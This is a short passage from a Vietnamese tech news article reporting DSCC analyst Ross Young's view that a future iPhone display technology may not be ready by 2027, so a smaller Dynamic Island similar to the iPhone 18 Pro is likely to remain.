Tuy nhiên, chuyên gia Ross Young của Display Supply Chain Consultants (DSCC) cho rằng công nghệ này vẫn có thể chưa hoàn thiện vào năm 2027. Vì vậy, phiên bản cuối cùng nhiều khả năng vẫn sẽ sử dụng Dynamic Island nhỏ hơn tương tự dòng iPhone 18 Pro.

Tin liên quan